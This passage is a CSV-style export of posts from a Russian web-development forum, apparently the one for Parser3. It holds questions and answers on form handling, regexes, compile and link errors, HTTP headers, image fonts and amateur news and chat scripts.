				('$form:work_id', $asw_id, '$value')}\
   }\
}\
\
[/code]\
\
Не работает. Не могу понять что делается в строке и засчет чего происходит занесение того количества строк, которое соответствует количеству вопросов?\
[code]\
...\
     $asw_id[^fields.match[asw_([0-9]+)][]{$match.1}]\
...\
[/code]\
\
Кстати пишет \
\
undefined method\
match"
"42743","Так и должно быть?\
$request:query в обоих случаях одинаковый\
[code]\
?value=pair&values=pairs?tail\
[/code]"
"42744","Давайте разберем по строкам:\
[code]\
$answers.text  <input type=\"text\" name=\"asw_$answers.id_question\">\
[/code]\
$answers - таблица со всеми вопросами.\
[code]\
$answers.text <input type=\"text\" name=\"asw_$answers.id_question\">\
[/code]\
Здесь выводим список вопросов, причем имена текстовых полей = asw_id_вопроса.\
\
Дальше идёт скрипт обработки данных пришедших из этой формы.\
[code]\
^form:fields.foreach[field;value]{\
[/code]\
Перебираем все поля формы. \
\
[code]\
^if(^fields.match[asw_[0-9]+][]){\
[/code]\
Здесь проверяем, если имя переменной из формы соответствует полю вопроса (asw_id_вопроса), то обрабатываем:\
\
[code]\
$asw_id[^fields.match[asw_([0-9]+)][]{$match.1}]\
[/code]\
Regexp'ом отсекаем у _имени_ переменной asw_, в $asw_id попадает только id_вопроса. А в $value соответственно содержится текст ответа на этот вопрос.\
\
Вот простой код, чтобы логику понять:\
[code]\
<form method=\"post\">\
$answers[^table::create{id_question	txt\
1	q1\
2	q2\
3	q3\
4	q4\
5	q5\
}]\
^answers.menu{\
  <input type=\"text\" name=\"asw_$answers.id_question\"> : $answers.txt\
}[<br />]\
\
<br /><input type=\"submit\"><br />\
Обработка:\
\
^form:fields.foreach[field;value]{\
   ^if(^field.match[asw_[0-9]+][]){\
     $asw_id[^field.match[asw_([0-9]+)][]{$match.1}]\
     $asw_id, '$value'<br />\
   }\
}\
[/code]"
"42746","Наверное, дело в том, что письма, отсылаемые скриптом, имеют адрес отправителя типа [b]Имя@pamela.dreamdns.net[/b].\
Может из-за этой \"Памелы\" Рамблер и не берёт их?"
"42747","Если кто-то сталкивался с практикой написания шрифтов для\
использования их в классе Image, поделитесь опытом.\
Очень интересует как какой промежуток между букв нужно\
использовать, какой размер шрифта?\
И искажается ли образ после нанесения текста на картинку как это\
будет при использовании наложений из нескольких gif'ов?"
"42750","Решила \"сумничать\" и добавила -s к field, поэтому и не работало\
\
[code]\
^form:fields.foreach[field;value]{\
   ^if(^fields.match[asw_[0-9]+][]){\
     $asw_id[^fields.match[asw_([0-9]+)][]{$match.1}]\
     ^void:sql{insert into anketa_answer\
	 			(woker_id, question_id, answer_text)\
			values\
				('$form:work_id', $asw_id, '$value')}\
   }\
\
[/code]"
"42751","Привет.\
При установке 	parser3_1_4_freebsd49R_cgi_xml.tar.gz  (11.01.2005  680,8 КБ) + parser3sql_1_4_freebsd49R_mysql.tar.gz  (11.01.2005  24,7 КБ) на mysql 4.1.12 возникает небольшая проблема, отраженная в логе следующим образом: [Mon Jul 25 16:51:37 2005] [17157] /: /usr/local/html/index.html(16:6): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can't open the module [<no type>]\
\
Не могу понять, что это может значить .... \
\
Поможете?"
"42754","но, [b]имхо[/b] - при если при пост-запросе передаются данные в $request:query, то непонятно - почему их игнорируют?\
\
Очевидно, что пост-данные в этом случае первичны. (видимо, поэтому не производится разбор строки запроса - чтобы не возникло двух переменных с одинаковыми именами). \
\
Однако, qtail в теле пост-запроса невозможен -> он формируется только из $request:query. \
\
Следовательно, вариант при котором гет и пост данные будут перекрывать друг друга невозможен. \
\
В самой задаче ничего сложного нет - простой регэксп легко решает проблему. Просто интересна логика - почему так? =)"
"42755","[0-9] = \\d"
"42756","На Alt Linux Master 2.4 установил:\
libxml2\
libxslt\
glib\
gdome2\
\
После make, дойдя до \
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/targets/cgi`\
...\
получаю сообщение, что\
cannot find -lstdc++"
"42758","Подскажите пож-та. Всё сделал как написано под денвером поднялось. Есть проблема закачиваю на сервак он мне пишет invalid option passed type: parser.runtime как решить эту проблемку?"
"42761","Судя по постам Paf'а декодирование таких строк в parser'e не будет т.к. это нестандартная фича.\
\
Тем не менее, необходимость декодировать существует - буду рад любому совету или ссылке, которая моможет решить эту задачу."
"42762","Что-то странное творится. Браузер отправляет запрос:\
\
[code]\
GET /rss/ HTTP/1.0\
Accept: */*\
Accept-Language: ru\
If-Modified-Since: Sun, 24 Jul 2005 23:34:27 GMT\
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\
Host: razetdinov\
Pragma: no-cache\
Connection: keep-alive\
[/code]\
\
Страница содержит следующий код:\
\
[code]\
$env:HTTP_ACCEPT <br />\
$env:HTTP_USER_AGENT <br />\
$env:HTTP_HOST <br />\
$env:HTTP_PRAGMA <br />\
$env:HTTP_IF_MODIFIED_SINCE <br />\
[/code]\
\
Получаем результат:\
\
[quot]\
*/* \
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) \
razetdinov\
no-cache \
[/quot]\
\
А где же HTTP_IF_MODIFIED_SINCE??? Танцы с регистром не помогают."
"42764","Вот примеры шрифтов:\
http://www.spearance.ru/parser3/fonts/\
Чтобы их правильно зарисовать нужно иметь хотябы поверхностное представление о создании шрифтов.\
Для начала нужно определиться какой будет шрифт. В большей степени нужно выбрать между двумя видами, шрифт декоративный, или наборный.\
Затем нужно прикинуть высоту и ширину будущих букв, не забывая о том, что есть буквы у которых есть верхние галочки например Й и нижние хвостики например у. Ну вот собственно и всё.\
\
Я в фотошопе делал отдельный слой для каждой буквы и + шаблон, для буквы, чтобы не путаться в размерах."
"42765","Работает примерно так - свежий экземпляр из моей почты:\
\
[code]Content analysis details: (6.2 points, 5.0 required)\
\
pts rule name description\
---- ---------------------- --------------------------------------------------\
1.4 SUB_HELLO Subject starts with \"Hello\"\
0.1 NO_REAL_NAME From: does not include a real name\
3.1 UNIQUE_WORDS BODY: Message body has many words used only once\
0.0 UPPERCASE_25_50 message body is 25-50% uppercase\
0.1 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE\
1.5 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent\
\
The original message was not completely plain text, and may be unsafe to\
open with some email clients; in particular, it may contain a virus,\
or confirm that your address can receive spam. If you wish to view\
it, it may be safer to save it to a file and open it with an editor.[/code]"
"42769","А есть примеры с нанесением шрифта?\
Я пошел по пути нарезки .gif файлов с каждой буквой(точнее цифрой)\
Но вот что обнаружил:\
при нанесении различный сочитаний, качество очень отличается.\
[url=\"http://www.dasshoes.ru/dotted.html\"]Пример[/url]\
С чем это связано?"
"42771","1) Пример с нанесением:\
http://www.typograf.ru/about/\
цифири на фоне статистики написаны гифчиком.\
 \
2) Качество букв разное по причине разности палитр исходного изображения и палитры цифр.\
\
В вашем случае я бы рекомендовал наносить надписи через ImageMagick, там есть возможность использования *.TTF шрифтов, и результирующий файл может быть jpg-ом."
"42772","Если у вас уже есть такая таблица - был бы очень благодарен за ее запубликацию тут =)"
"42773","Как раз исходный файлы с моделями у меня в формате jpg.\
Я создал свой класс для нанесения изображений, но очень\
расстроен ограниченностью парсера в работе только с gif.\
\
Где я могу узнать про ImageMagick?\
Так как работа с TTF шрифтами - это то что мне надо в совокупности с jpg"
"42775","Может стоит создать универсальную палитру...???\
По какому принципу идет наложение? по первому или последнему или по пересечению цветов?"
"42776","При сохранении в gif лучше будет использовать палитру из 256 системных цветов, чем точную?\
Тогда получиться, что сколько бы я gif'ов не накладывал, палитра у всех будет одинаковая и искажения цвета не будет?"
"42777","http://www.spearance.ru/parser3/unicode.txt\
для кодировки windows-1251"
"42781","как сделать чтобы при нажатии на submit checkbox не сбрасывался (выставлялся заного автоматически)?"
"42783","этот qtail нужен понятно для чего. с POST это никак не пересекается. видимо, потому и не сделал.\
\
вам зачем нужно-то?"
"42784","подозрение: на вашей системе эта библиотека почему-то называется как-то иначе.\
уточните и поправьте команду компоновки и выполните её вручную."
"42786","Чтобы в случае когда запрашивается пост-запросом \
[code]script.html?param=value&other_param=value?qtail[/code]\
был доступен $from:qtail\
Можно предположить, почему в этом случае $form:param и $form:other_param не определены: чтобы не было пересечений с одноименными пост-переменными.\
Но $form:qtail с данными пост-запроса никогда не пересечется.\
Следовательно, его определение при пост-запросе безопасно.\
\
Или тут другая логика?"
"42788","вы вопросительный знак в моём сообщении не увидели?"
"42789","$Catalog - таблица в ней есть столбцы dom,sad,ogorod,a1,a2,...,aN\
так вот из a1,a2,...,aN надо выводить значения если они существуют\
пробую так:\
[code]\
^Catalog.menu{\
	^for[$ch](1;19){\
   		^if(def $Catalog.[a$ch]){\
		<a href=\"\">&#185;$ch</a>\
		}\
	}\
}\
[/code]\
\
не выходит. Как лучше в таких случаях поступать?"
"42790","и даже можно короче писать:\
[code]\
$something.name$subname\
[/code]\
\
без скобок.\
видимо там немного не те столбцы, что вы думаете. перепроверьте через ^x.columns[]\
\
\
отдельно: описанная структура данных не супер."
"42791","Страница на сайте начала выдавать такую ошибку:\
\
500 Internal Server Error\
\
----------------------------------------------------------------------------\
----\
\
nginx/0.1.36\
\
Я изменил строку (т.е. дело в ней)\
$response:refresh[$.value[0]$.url[/url/]]\
на\
$response:location[http://url/]\
и все заработало.\
\
Но дело в том что раньше первый вариант работал – связано ли это с изменениями на сервере? И если да, то с какими?\
Нехочется оставлять данный вопрос нераскрытым.\
Зараннее благодарю за ответы."
"42793","Для начала скажу, что пересмотрел файл INSTALL. Пользовался поиском по форуму, но так и не нашёл исчерпывающего ответа.\
\
Дистрибутив: [b]Mandrakelinux 10.0[/b]\
\
Установленные пакеты (rpm):\
[code]\
libxml2-2.6.6-1mdk\
libxml2-devel-2.6.6-1mdk\
libxslt1-1.1.2-1mdk\
libxslt1-devel-1.1.2-1mdk\
libglib1.2-devel-1.2.10-11mdk\
libglib2.0_0-devel-2.2.3-1mdk\
gdome2-0.8.1-1\
gdome2-devel-0.8.1-1\
[/code]\
\
[b]Что делаю...[/b]\
\
./configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --sysconfdir=/etc --localstatedir=/var --disable-safe-mode --with-shared-gc --with-mysql-client --with-charsets=windows-1251,koi8-r --with-shared-xml=/usr\
\
make\
\
[b]Что получаю...[/b]\
\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h: In constructor `GdomeDOMString_auto_ptr::GdomeDOMString_auto_ptr(xmlChar*)':\
../../src/include/pa_charset.h:184: error: `gdome_str_mkref_xml' undeclared (first use this function)\
../../src/include/pa_charset.h:184: error: (Each undeclared identifier is reported only once for each function it appears in.)\
make[2]: *** [pa_pool.o] Error 1\
make[2]: Leaving directory `/usr/src/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/usr/src/parser3/src'\
make: *** [all-recursive] Error 1"
"42794","Моим путем можно удалять по несколько новостей сразу. Насчет изменить я не парился. \
[quot]@News[]\
$date[^date::now[]]\
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"$date.day -$date.month -$date.year $date.hour:$date.minute\">\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form>\
^if(def $form:date && def $form:header && def $form:body){\
$table[^table::load[table.txt]]\
^table.append{$form:date	$form:header	$form:body}\
^table.save[table.txt]\
}{Надо заполнить все поля формы.}\
@deleting[]\
$g[0]\
$table[^table::load[table.txt]]\
$x(^table.count[]-1)\
^for[i](0;$x){\
^if(def $form:ch$i){\
$n($i+1)\
$table2[^table::create[$table;$.offset($n-$g)]]\
$table[^table::create[$table;$.limit($n-1-$g)]]\
^table.join[$table2]\
^table.save[table.txt]\
$n\
$g($g+1)}} \
<form method=\"POST\">\
Поставте галочку возле новости, если хотите удалить её.\
^table.menu{ \
<table border=0 align='center' width='800'>   \
<tr> \
      <td width='2'><input type=\"checkbox\" name=\"ch^table.offset[]\" value=\"^table.offset[]\"></td><td width='10%'>$table.date</td> \
      <td width='70%'>$table.head</td> \
</tr><tr>\
      <td COLSPAN=3 width='80%'>$table.news</td> \
   </tr>\
</table><br><br> \
} \
<br><input type=\"submit\" value=\"Delete\" name=\"posted\">\
</form>[/quot]\
Для показа на странице форм для добовление сообщений пробимаеш ^news[], ^deleting[] - для формы удаления. Код может и громоздкий, но пашет красово."
"42798","[root@localhost parser3]# make\
Making all in src\
make[1]: Entering directory `/home/oleg/parser3project/parser3/src'\
Making all in include\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/include'\
make  all-am\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/include'\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/include'\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/include'\
Making all in main\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/main'\
make[2]: Цель `all' не требует выполнения команд.\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/main'\
Making all in sql\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/sql'\
make[2]: Цель `all' не требует выполнения команд.\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/sql'\
Making all in types\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/types'\
make[2]: Цель `all' не требует выполнения команд.\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/types'\
Making all in classes\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/classes'\
make[2]: Цель `all' не требует выполнения команд.\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/classes'\
Making all in lib\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/lib'\
Making all in patches\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/patches'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/patches'\
Making all in gd\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/gd'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/gd'\
Making all in smtp\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/smtp'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/smtp'\
Making all in cord\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/cord'\
Making all in include\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/cord/include'\
Making all in private\
make[5]: Entering directory `/home/oleg/parser3project/parser3/src/lib/cord/include/private'\
make[5]: Цель `all' не требует выполнения команд.\
make[5]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/cord/include/private'\
make[5]: Entering directory `/home/oleg/parser3project/parser3/src/lib/cord/include'\
make[5]: Цель `all-am' не требует выполнения команд.\
make[5]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/cord/include'\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/cord/include'\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/cord'\
make[4]: Цель `all-am' не требует выполнения команд.\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/cord'\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/cord'\
Making all in ltdl\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/ltdl'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/ltdl'\
Making all in pcre\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/pcre'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/pcre'\
Making all in md5\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/md5'\
make[3]: Цель `all' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/md5'\
Making all in gc\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/gc'\
Making all in include\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/gc/include'\
make[4]: Цель `all' не требует выполнения команд.\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/gc/include'\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/gc'\
make[4]: Цель `all-am' не требует выполнения команд.\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/gc'\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/gc'\
Making all in sdbm\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib/sdbm'\
Making all in apr-include\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/sdbm/apr-include'\
make[4]: Цель `all' не требует выполнения команд.\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/sdbm/apr-include'\
make[4]: Entering directory `/home/oleg/parser3project/parser3/src/lib/sdbm'\
make[4]: Цель `all-am' не требует выполнения команд.\
make[4]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/sdbm'\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib/sdbm'\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/lib'\
make[3]: Цель `all-am' не требует выполнения команд.\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/lib'\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/lib'\
Making all in targets\
make[2]: Entering directory `/home/oleg/parser3project/parser3/src/targets'\
Making all in cgi\
make[3]: Entering directory `/home/oleg/parser3project/parser3/src/targets/cgi'\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/home/oleg/gc/lib -lgc   -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
/usr/bin/ld: cannot find -lstdc++\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Ошибка 1\
make[3]: Leaving directory `/home/oleg/parser3project/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Ошибка 1\
make[2]: Leaving directory `/home/oleg/parser3project/parser3/src/targets'\
make[1]: *** [all-recursive] Ошибка 1\
make[1]: Leaving directory `/home/oleg/parser3project/parser3/src'\
make: *** [all-recursive] Ошибка 1\
\
P.S. \
libxml2\
libxslt\
glib\
gdome2\
были мной установлены из тарболов,т.к. с rpm, входящими в дистрибутив было то же самое."
"42801","[code]\
cd gdome2-x.x.x\
patch -p0 < $HOME/parser3project/parser3/src/lib/patches/gdome2.patch\
./configure --with-glib-prefix=$HOME/gnome --disable-glibtest --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --silent\
make install\
...\
And copy these additional headers into install includes directory\
\
mkdir -p $HOME/gnome/include/libgdome/gdomecore\
cp libgdome/gdomecore/gdome-xml-node.h $HOME/gnome/include/libgdome/gdomecore\
cp libgdome/gdomecore/gdome-xml-document.h $HOME/gnome/include/libgdome/gdomecore\
[/code]"
"42802","1. вы как проверяете?\
\
2. имейте в виду, что браузер сможет прислать вам заголовок запроса if-modified-since только если вы раньше ему высылали корректный заголовок last-modified."
"42806","как можно запустить класс не зная его параметров запуска"
"42807","чё то не пашет.\
у меня такой код: [code]<input name=\"dayz\" type=\"checkbox\" value=\"$data\">[/code]\
где: [code]$data[$days.$week_day/$now.month/$now.year];[/code]\
[code]$dayz[$form:tables.dayz];[/code]"
"42809","Типовая задача, но для меня в первый раз.\
В форме есть checkbox'ы (10-15) через которые записываю информацию о том какая фирма к какому разделу относиться и соотвественно эту информацию пишу в БД. Решил сделать так, сколько максимально категории (checkbox'ов)  столько и столбцов в БД, один checkbox - один столбец, но чувствую это как то не серьезно. Пути для автоматизации усложняются.\
\
Думаю писать значения checkbox'ов в одну ячейку, через запятую. Но для того чтобы узнать относиться фирма к этому разделу или нет, прийдеться анализировать строки всех фирм, потом их выводить, а если еще попутно выводит другие разделы к которым относиться фирма. Не сильно ли это загрузит сервер..\
\
Поскажи как лучше решать такую задачу."
"42810","В форуме было, поиск!\
\
1. таблица с фирмами\
2. таблица с разделами\
3. таблица связей:\
[code]\
id\
company_id\
section_id\
[/code]"
"42813","Решил сделать всё как написано в файле INSTALL, а именно скачал .tar.gz и собрал их...\
Возникла новая проблема. Думаю, Вы мне помочь решить её не сможете ([b]/usr/bin/ld: cannot find -lstdc++[/b]).\
Интересно, что установлены пакеты:\
[code]\
libstdc++5 (+ devel)\
libstdc++6 (+ devel)\
[/code]"
"42814","В auto.p :\
[code]\
@main[]\
^hello[]\
\
@hello[]\
Здрасте!\
[/code]\
\
В index.html - ничего, браузер не выводит ничего,\
вызываю ^hello[] из index.html - срабатывает...\
При вызове ^main[] - endless recursion \
\
Форум обошел, не нашел ответа - туплю уже что ли..."
"42815","отсюда: http://www.parser.ru/docs/lang/mainclass.htm\
[quot]\
Если в файле не определен ни один метод, то все его тело считается определением метода main.\
[/quot]\
\
если после прочтения этого понятнее не стало, то поищите в форуме по ключевому слову '^main[]' и почитайте дискуссии."
"42816","читал я эту фразу несколько раз...\
мозги плавятся :)\
спасибо, помогло"
"42818","у вас какие мысли?"
"42819","..то, если я правильно понимаю, в моем случае связь между таблицами \"Фирмы\" и \"Разделы\" будет один ко многим, т.е. для записи данных о какой-либо фирме, к примеру принадлежащей к 5 разделам, в таблице \"Фирмы\" появится 5 записей.\
Получеться что после обрабоки формы должна произойти пятикратная запись в БД?\
\
Я не прошу готовый код, я прошу подсказать принцип как решают эту задачу более продвинутые программисты."
"42820","Прошу прощения за глупый вопрос.\
Запрос выводит каталог товаров.\
У каждой позиции стоит checkbox и поле количества.\
В конце имеется кнопка добавить.\
Выбираем позиции и жмем добавит, но добавляется только одна.\
Как добавить все выбранные???\
Че-то туплю безобразно.\
[CODE]\
^connect[$connect_string]{\
   $poz[^table::sql{select \
      id, title, detail, weight, price, catid\
from\
       catalog\
where \
     catid='$form:id' \
ORDER BY id ASC\
   }] \
\
^if($poz){ \
      ^poz.menu{ \
\
<b>Описание:</b> $poz.detail<br><br>\
\
<form action=\"\" method=\"post\">\
<span class=\"title\"><b></b></span><br><br>\
добавить в корзину<input name=\"check\" type=\"checkbox\" value=\"$poz.id\"><br>\
количество<input name=\"quantity\" type=\"text\" size=\"5\">\
      }\
   }{ \
      Список категорий отсутствует. \
   } \
} \
\
<input name=\"cart\" type=\"submit\" value=\"добавить\">\
</form>\
\
$user_id[^math:md5[$env:REMOTE_ADDR $date_now.year $date_now.month $date_now.day]]\
\
    ^if(def $form:check && def $form:quantity){\
^connect[$connect_string]{\
\
^void:sql{insert into basket (poz_id, quantity, user_id) values \
\
('$form:check','$form:quantity', '$user_id')}\
\
    } $response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]]\
[<br>]\
}{\
}\
[/CODE]"
"42821","В примере 2 указано, что вышеуказанная функция должна, по идее, вызываться автоматически. Если честно, этой \"автоматики\" я не заметил, а \"принудительное\" вызывание (в index.html) выдаёт ошибку. Вот, собственно, и всё. Кто разьяснит - буду очень признателен."
"42824","Второй день парюсь.\
Нашел много чего по теме.\
Но никак не работает.\
Если не сложно гляньте код."
"42825","Виноват... Пардон... Я правда, поиском попытался воспользоваться..."
"42832","Решил попробовать поставить как раз переустановить Mandrakelinux на ноутбуке... Постараюсь использовать только базовые пакеты. Напишу о результатах."
"42833","если не сложно вам:\
[code]\
/// put a [value] under the [key] @returns existed or not\
template<typename R, typename F1, typename F2, typename I> \
	R maybe_replace_maybe_append(K key, V value, F1 prevent_replace, F2 prevent_append, I info) \
{\
	if(!value) {\
		// they can come here from Temp_value_element::dctor to restore some empty value\
		remove(key);\
		// this has nothing to do with properties, doing no special property handling here\
		return 0; \
	}\
\
	if(is_full()) \
		expand();\
\
	uint code=hash_code(key);\
	uint index=code%allocated;\
	Pair **ref=&refs[index];\
	for(Pair *pair=*ref; pair; pair=pair->link)\
		if(pair->code==code && pair->key==key) {\
			// found a pair with the same key\
\
			// prevent-function intercepted put?\
			if(R result=prevent_replace(pair->value, info))\
				return result;\
			\
			pair->value=value;\
			return reinterpret_cast<R>(1);\
		}\
	\
	// proper pair not found \
	// prevent-function intercepted put?\
	if(R result=prevent_append(value, info))\
		return result;\
	\
	//create&link_in new pair\
	if(!*ref) // root cell were fused_refs?\
		fused_refs++; // not, we'll use it and record the fact\
	*ref=new Pair(code, key, value, *ref);\
	fpairs_count++;\
	return 0;\
}\
[/code]\
\
какая-то мелочь не работает и потом всё грустит в хитрой ситуации."
"42835","вы понимаете, что делаете?\
что такое компоновка, хотя бы приблизительно?"
"42839","желающие поэкспериментировать, добро пожаловать в CVS|HEAD."
"42841","Решил проблему так:\
\
[code]\
sudo ln -s /usr/lib/libstdc++.so.5.0.5 /usr/lib/libstdc++.so\
\
./configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --sysconfdir=/etc --localstatedir=/var --disable-safe-mode --with-shared-gc --with-mysql-client --with-shared-xml=$HOME/gnome --with-dynamic-stdcpp\
[/code]"
"42842","На Яндексе (в почте, например) как-то очень грамотно реализован интересный механизм. Если пользователь \"разлогинился\" и после этого нажал на BACK, он не увидит \"откешированной\" его браузером страницы.\
Даже если он долго лазил по своему почтовому ящику, потом \"разлогинился\" и нажимает несколько раз подряд BACK BACK, у меня такое впечатление, что страницы берутся с сервера, а не из кеша.\
Конструкций <META> в HTML-тексте не видно...\
То есть, когда сессия авторизована, BACK работает (даже один) и показываются откешированные...\
\
Кто-нибудь знает, как ЭТО делается???"
"42843","http://www.parser.ru/links/"
"42844","очевидно, плохо влияет на работоспособность.\
\
пожалуйста, дождитесь вечера и придумайте интересное сообщение с заковыристой проблемой применительно к Parser.\
\
сообщение опубликуйте тут.\
\
завтра придём все (если Бог даст и будем живы) и с удовольствием его прочитаем и сразу же ответим."
"42847","Я сделал чат. Нет, ну сделал, конечно, громко сказано... Я попытался сделать чат. Может кому не в лом поисправлять мои ошибки:). Самому смешно. \
Проблема номер рас - на какомто этапе я совсем перегрелся и изменил код так, что теперь новые посетители не добовляються в таблицу зарегестрированых и таблица онлайн посетителей тоже, чегото престала пополняться. Вторая ошибка, более познего фрагмента кода, который изначально не работал, вообщем, ее трудно не замеить, но я этот фрагмент всеравно выделю.\
[code]@authoring[]\
$date[^date::now[]]\
$names[^table::load[names.txt]]\
$online[^table::load[online.txt]]\
$soobsh[^table::load[soobsh.txt]]\
$authoringforms{\
<form method='post'>\
<table width='250' align=center>\
<tr><td align='center' COLSPAN=2><input type='test' name='login'></td></tr>\
<tr><td align='center' COLSPAN=2><input type='password' name='password'></td></tr>\
<tr><td align=left><input type='submit' name='submit' value='Войти'></td><td align='right'><input type='reset' name='reset' value='Очистить'></td></tr>\
<tr><td align='center' COLSPAN=2>Если пользователь с таким именем еще не входил в систему вы будете зарегестрированы.<br><b>$Error</b></td></tr>\
</table>\
</form>}\
[b]^if(def $form:login && def $form:password){\
^if(^names.locate[Name;$form:login]){\
^if($form:password eq $names.password){\
^online.append{$form:login	$date.minute}\
$online.save[online.txt]^chat[]}{\
$Error[Неверный пароль.] $authoringforms}}{\
^names.append{$form:login	$form:password}\
^online.append{$form:login	$date.minute}\
$names.save[names.txt] \
$online.save[online.txt]^chat[]}}{\
$Error[Надо заполнить все поля формы.] $authoringforms}[/b]\
@chat[]\
<form method='post'>\
<table width='950' height='550' border=1 align=center>\
<tr heigh='90%'><td width=90% valign=up>^vivodsoobshenii[]</td><td valign=up>^onlinelist[]</td></tr>\
<tr><td COLSPAN=2 height=50>^otpravkasoobsh[]</td></tr>\
</table>\
#чтобы не возвращало к входу\
<input type='hidden' name='login' value='$form:login'>\
<input type='hidden' name='password' value='$form:password'>\
</form>\
@onlinelist[]\
#удаление старых записей из списка\
^for[i](1;^online.count[]){\
^online.offset[set]($i-1)\
$razn($online.time-$date.minute)\
^if($razn>3 || $razn<-3){\
$online2[^table::create[$online;$.offset($i)]]\
$online[^table::create[$online;$.limit($i-1)]]\
^online.join[$online2]\
^online.save[online.txt]}}\
#перечисление посетителей\
^online.menu{\
^if($online.names eq $form:login){<b>$online.names<br></b>}{\
<input type='checkbox' name='ch' value='$online.names'>$online.names<br>}}\
@otpravkasoobsh[]\
#форма для сообщения\
<input type='text' name='soobsh' size='100'><br>\
<input type='submit' name='submit' value='Отправить'>\
<input type='reset' name='reset' value='Очистить'> Поставте галочку возле имени того, кому хотите отправить сообщение.\
@vivodsoobshenii[]\
[b]#определение адресата сообщения\
$totab[$form:tables.ch]\
^for[i](1;^totab.count[]-1){\
^totab.offset($i-1)\
$to[$to, $totab.field]}\
^totab.offset(^totab.count[]-1)\
$to[$to, $totab.fields^:]\
^if(def $to){}{$to[all]}[/b]\
#добовление в таблицу сообщений\
^if(def $form:soobsh){\
^soobsh.append{$form:login	$to^:	$form:soobsh}\
^soobsh.save[soobsh.txt]<br>}{\
<b>Скажем \"Нет!\" пустым сообщениям!</b><br>}\
#обновление времени последней связи с поситителем\
$online2[^table::create[$online;$.offset(^online.locate[names;$form:login])]]\
$online[^table::create[$online;$.limit(^online.locate[names;$form:login]-1)]]\
^online.append{$form:login $date.minute}\
^online.join[$online2]\
^online.save[online.txt]\
#удаление лишних сообщений\
^if(^soobsh.count[]>20){\
$soobsh[^table::create[$soobsh;$.offset(^soobsh.count[]-20)]]\
